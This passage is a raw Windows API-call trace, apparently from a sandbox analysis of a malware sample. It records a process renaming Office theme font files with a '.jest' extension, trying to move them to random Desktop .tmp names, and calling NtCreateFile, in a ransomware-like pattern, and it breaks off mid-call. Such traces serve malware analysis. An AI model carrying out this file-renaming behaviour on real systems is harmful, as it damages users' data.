MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.jest")) returned 1 [0169.007] VarBstrFromR4 (in: fltIn=0x47945949, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.57") returned 0x0 [0169.008] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-eYbUdrMB9OXHQ0fwrbbaRhOiIyv_GdzhpbwaC9vSgCp5e2e_t8XBpKwmNkKEreWv9eQX4wfR8HmT-k8zIOEOoj6o_MsODiyNdzk_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-eybudrmb9oxhq0fwrbbarhoiiyv_gdzhpbwac9vsgcp5e2e_t8xbpkwmnkkerewv9eqx4wfr8hmt-k8zioeooj6o_msodiyndzk_.tmp")) returned 0 [0169.008] GetLastError () returned 0x2 [0169.009] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.jest")) returned 1 [0169.011] VarBstrFromR4 (in: fltIn=0x47945949, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.57") returned 0x0 [0169.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W8QkV k5OfBkwJxjxGf4lkr0vEkOw QBLzW9HYOsc6tcHFUjXxPi6h7T9B6PRLDlzpfQg7DUFdyd2sn2FhsiQQupfZDTqohE_rk66.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w8qkv k5ofbkwjxjxgf4lkr0vekow qblzw9hyosc6tchfujxxpi6h7t9b6prldlzpfqg7dufdyd2sn2fhsiqqupfzdtqohe_rk66.tmp")) returned 0 [0169.012] GetLastError () returned 0x2 [0169.012] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.jest")) returned 1 [0169.015] VarBstrFromR4 (in: fltIn=0x47945949, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.57") returned 0x0 [0169.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_k5X5MzfzIPALGVcRkcqozlXjMM2FdMMr55wRG 0iJQH2sbcyL94jmvFtQk6fSKJiKk2JmFhYSUg36Qx9 OwmSbp-D4vwFRyJ 4c6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_k5x5mzfzipalgvcrkcqozlxjmm2fdmmr55wrg 0ijqh2sbcyl94jmvftqk6fskjikk2jmfhysug36qx9 owmsbp-d4vwfryj 4c6.tmp")) returned 0 [0169.016] GetLastError () returned 0x2 [0169.016] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.jest")) returned 1 [0169.018] VarBstrFromR4 (in: fltIn=0x47945949, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.57") returned 0x0 [0169.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wp2_8PwGfYBSnA YHmzw4OQ0scYBjXbYpUTLrHvJsMFhfIuP4zAegNL 2R8rskxdkLgyoqBsd 0zF1sK2c27aB-nYZht1AUVzbJ_V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wp2_8pwgfybsna yhmzw4oq0scybjxbyputlrhvjsmfhfiup4zaegnl 2r8rskxdklgyoqbsd 0zf1sk2c27ab-nyzht1auvzbj_v.tmp")) returned 0 [0169.019] GetLastError () returned 0x2 [0169.020] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.jest")) returned 1 [0169.022] VarBstrFromR4 (in: fltIn=0x4794594b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.59") returned 0x0 [0169.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\69s_W84TIDcuWzfTHrzqO25k9-O4a6Y3xTByQ3C454tOr2ELeBLcEmuLiOa2zAwqcEg2RRq wcr XAcyFeoPia0TJCXl TW8J7hil.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\69s_w84tidcuwzfthrzqo25k9-o4a6y3xtbyq3c454tor2eleblcemulioa2zawqceg2rrq wcr xacyfeopia0tjcxl tw8j7hil.tmp")) returned 0 [0169.023] GetLastError () returned 0x2 [0169.023] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.jest")) returned 1 [0169.026] VarBstrFromR4 (in: fltIn=0x4794594b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.59") returned 0x0 [0169.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0P1-fMMTbgsdOEPq0LBGvqtbc0iQO_Fdi_RITNfMP7MNhjzhsXvujmJKEIYmJuH-72bPjGaKcfE7qiJhaEOE9OEMG6CX7B 5ip.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0p1-fmmtbgsdoepq0lbgvqtbc0iqo_fdi_ritnfmp7mnhjzhsxvujmjkeiymjuh-72bpjgakcfe7qijhaeoe9oemg6cx7b 5ip.tmp")) returned 0 [0169.027] GetLastError () returned 0x2 [0169.027] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.jest")) returned 1 [0169.029] VarBstrFromR4 (in: fltIn=0x4794594b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.59") returned 0x0 [0169.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9-m4BkwYOH7UOBULH7R7qIcY2D69zuA9AGYvQJlsYveivPVD4c 4_X2lml1PyzKkgd9UW_q8 nxUalE9793Jp6IfRCs_itwDE uU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9-m4bkwyoh7uobulh7r7qicy2d69zua9agyvqjlsyveivpvd4c 4_x2lml1pyzkkgd9uw_q8 nxuale9793jp6ifrcs_itwde uu.tmp")) returned 0 [0169.030] GetLastError () returned 0x2 [0169.030] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.jest")) returned 1 [0169.032] VarBstrFromR4 (in: fltIn=0x4794594b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.59") returned 0x0 [0169.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GFB7H_qzHYAzj_X-VGiZDRBEVJW4ube7_K1VCyhTsLA8Z9WOOu6yFvdbPgU7ylCjiOYuMGfMnOSXn1ORCH-nYxhhvqz2IBZ5Whpp2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gfb7h_qzhyazj_x-vgizdrbevjw4ube7_k1vcyhtsla8z9woou6yfvdbpgu7ylcjioyumgfmnosxn1orch-nyxhhvqz2ibz5whpp2.tmp")) returned 0 [0169.033] GetLastError () returned 0x2 [0169.033] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.jest")) returned 1 [0169.036] VarBstrFromR4 (in: fltIn=0x4794594d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.6") returned 0x0 [0169.037] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\foznnhuArGtWUe56vB6BliX7rZXvtRhgGs9Y0iS3Iiy1Qn5w8TsBJe7vpdJHADQOYgO4xWD-_FDFjecFM8EC t -4jD7iNNf7Fz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\foznnhuargtwue56vb6blix7rzxvtrhggs9y0is3iiy1qn5w8tsbje7vpdjhadqoygo4xwd-_fdfjecfm8ec t -4jd7innf7fz.tmp")) returned 0 [0169.037] GetLastError () returned 0x2 [0169.037] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.jest")) returned 1 [0169.040] VarBstrFromR4 (in: fltIn=0x4794594d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.6") returned 0x0 [0169.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kYBTJ-ztW 3CzneDlGas2cfL_lGcGv PRxB_bTjrdLyjzU0W_MN8uiJLin3kgHMobKXRezZq 1RFpGezXt9gFI1KSj2P-bbs3O RF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kybtj-ztw 3cznedlgas2cfl_lgcgv prxb_btjrdlyjzu0w_mn8uijlin3kghmobkxrezzq 1rfpgezxt9gfi1ksj2p-bbs3o rf.tmp")) returned 0 [0169.041] GetLastError () returned 0x2 [0169.041] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.jest")) returned 1 [0169.044] VarBstrFromR4 (in: fltIn=0x4794594d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.6") returned 0x0 [0169.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pUadtilmWQlNcX2spxDDr-Oetzrpu828LvpsRTW-1o6XR2Zz8r15grLzpUA_Be1vyOhBpu-T-PvS5Ms6TgQdMsP7ImGBx7tmDs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\puadtilmwqlncx2spxddr-oetzrpu828lvpsrtw-1o6xr2zz8r15grlzpua_be1vyohbpu-t-pvs5ms6tgqdmsp7imgbx7tmds.tmp")) returned 0 [0169.045] GetLastError () returned 0x2 [0169.045] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.jest")) returned 1 [0169.047] VarBstrFromR4 (in: fltIn=0x4794594d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.6") returned 0x0 [0169.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vwkZ76-h154uc_A GcFI7IoylEHzLP18I4 3qZO6UwzG FIGV2bmPmuLbMDc0RZD3CJpnfrdB43sBRyLuISGwnvsHMHqOrA4NAh_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwkz76-h154uc_a gcfi7ioylehzlp18i4 3qzo6uwzg figv2bmpmulbmdc0rzd3cjpnfrdb43sbryluisgwnvshmhqora4nah_.tmp")) returned 0 [0169.048] GetLastError () returned 0x2 [0169.048] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.jest")) returned 1 [0169.050] VarBstrFromR4 (in: fltIn=0x4794594d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.6") returned 0x0 [0169.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BYSDTjBUENbnHLjPbQAR4TwoWkXgOYK0V25qAj5ZRwi7DrodyBKYZq_Re3OzD5iWjouguLXR3S15VDRXV70bU8BMwE03ZsQVQP_El.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bysdtjbuenbnhljpbqar4twowkxgoyk0v25qaj5zrwi7drodybkyzq_re3ozd5iwjougulxr3s15vdrxv70bu8bmwe03zsqvqp_el.tmp")) returned 0 [0169.051] GetLastError () returned 0x2 [0169.051] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.jest")) returned 1 [0169.054] VarBstrFromR4 (in: fltIn=0x4794594f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.62") returned 0x0 [0169.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\01G2DbzVADSrICL6W3UlFwXqZ0GxRe_3_exZHTkXDRHzDGky2WEJRZ4gdBcKx6YodZRWV2oX3958yogKC15h2A0tpNwZ9L9D-mbty.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\01g2dbzvadsricl6w3ulfwxqz0gxre_3_exzhtkxdrhzdgky2wejrz4gdbckx6yodzrwv2ox3958yogkc15h2a0tpnwz9l9d-mbty.tmp")) returned 0 [0169.055] GetLastError () returned 0x2 [0169.055] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.056] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.jest")) returned 1 [0169.058] VarBstrFromR4 (in: fltIn=0x4794594f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.62") returned 0x0 [0169.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1n2k6D4rWhJOOZPGiQqiJTJ3W9hkdm9mU7r1dFwemkSV8xX8Bo5 OeYixCGVxDxfIQeGx2Y8wPxA sU_m4EuI1rD0jsHCiwWFsQv6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1n2k6d4rwhjoozpgiqqijtj3w9hkdm9mu7r1dfwemksv8xx8bo5 oeyixcgvxdxfiqegx2y8wpxa su_m4eui1rd0jshciwwfsqv6.tmp")) returned 0 [0169.059] GetLastError () returned 0x2 [0169.062] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 